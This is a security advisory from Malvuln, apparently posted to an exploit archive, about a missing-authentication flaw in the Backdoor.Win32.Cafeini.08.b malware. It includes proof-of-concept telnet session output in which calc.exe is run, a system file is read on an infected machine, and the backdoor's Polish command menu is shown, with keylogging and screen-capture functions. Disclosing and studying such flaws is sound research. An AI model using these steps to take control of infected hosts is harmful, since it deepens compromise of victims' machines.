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Backdoor.Win32.Cafeini.08.b MVID-2021-0086 Missing Authentication

Backdoor.Win32.Cafeini.08.b MVID-2021-0086 Missing Authentication
Posted Feb 15, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Cafeini.08.b malware suffers from a missing authentication vulnerability.

tags | exploit
systems | windows
SHA-256 | 42b334aea82507140ecc84d70e3e827069455b64df4111d0bb8d29ceb5e02d14

Backdoor.Win32.Cafeini.08.b MVID-2021-0086 Missing Authentication

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8225bb6b430d5cdf523c4d0cabbe5793.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.08.b
Vulnerability: Missing Authentication
Description: The backdoor is written in Polish and listens on TCP port 51966, anyone who can reach the infected system can telnet in and execute any commands leading to malware compromise.
Type: PE32
MD5: 8225bb6b430d5cdf523c4d0cabbe5793
Vuln ID: MVID-2021-0086
Dropped files:
Disclosure: 02/12/2021


Exploit/PoC:
1) Try execute calc.exe we get error in Polish.

C:\Windows>EEXXEECC ccaalclc
STATUS: nie moge uruchomic programu

Translated from polish "I cannot run the program"

But given the full path it works.

C:\Windows>EEXXEECC cc::\\WWiindnodwowss\\syssytsetemm3322\\ccaallcc.e.exxee
STATUS: program uruchomiony

Translated "program running"

2) Read files.

C:\Users\victim\Desktop>ttyyppee \\WWiinndodwowss\\syssytsetemm..iinini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv

3) See help menu.

C:\>hehlelpp
BYE lub LOGOUT lub QUIT lub EXIT - wyjscie
DIE - zabij serwer (usun z pamieci)
HELPCONF- opis komend sluzacych konfiguracji serwera: AUTOFTPD,AUTOKILL,
AUTOMAIL,EMAIL,FTPD,NAME,PASSWD,PORT,PROXY,SMPT.
HELPDOS - opis komend w rodzaju MS-DOS/Linux: CAT,CD,CHDIR,CMD,CMDV,COPY,
DATE,DEL,DIR,DRIVES,ECHO,ENV,ERASE,INFO,KILL,LS,MAIL,MEMORY,MKDIR,
MOVE,PS,RENAME,RMDIR,SET,SYSINFO,TELNET,TIME,TYPE,VER.
HELPFUN - opis komend sluzacych zabawie: ANNOY,ANNOYCD,ANNOYMONITOR,CLOSECD,
ERRORMSG,EXEC,EXECU,FILLDISK,FILLMEM,FREEZE,GETALLMEM,LOGOFF,MESSAGE,
MONITOR,OPEN,OPENCD,OPENMAIL,OPENWWW,QUESTION,READCLIP,SAVER,
SCREENSAVER,SHUTDOWN,STOPALL,TASKMANAGER,VOLUME,WRITECLIP.
HELPKEY - opis komend sterujacych klawiatura: KEYBOARDBEEP,LOGGEDCLEAR,
LOGGEDKEYS,SENDKEYS,SENDLINE
HELPMOUSE-opis komend sterujacych myszka i dzwiekiem: AUTOBEEP,BEEP,
AUTOSPEAKERBEEP,CURSORFREEZE,CURSORLINE,CURSORPOS,CURSORQUAKE,
CLIPLU,CLIPRD,CLIPRESET,CURSORUNFREEZE,MOUSESWAP,STOP,STOPALL.
HELPSCR - opis komend sluzacych zabawie z ekranem (desktop): BLACKWHITE,
DUMPSCREEN,DUMPSMALLSCREEN,FLYINGBALLS,MATRIX,RESOLUTION,
SETWALLPAPER,UNRESOLUTION and SCREEN: BLUR,COLOR,DARKER,INVERT,
MOVEX,MOVEY,NORMAL,ROLLX,ROLLY,STOP,XREVERSE,YREVERSE,ZOOM.
HELPWIN - opis komend do operacji na oknach (wszystkie zaczynaja sie od WIN):
AUTOMESS,FOCUS,HIDE,HIDEALL,HIDESTART,HIDETASKBAR,INVERT,KILL,LIST,
KILLMICROSOFT,LISTALL,MAXIMIZE,MESS,MINIMIZE,NAME,PINGPONG,POS,QUAKE,
RESIZE,SHOW,SHOWALL,SHOWSTART,SHOWTASKBAR,SHRINK,STOP,TOP,UNTOP.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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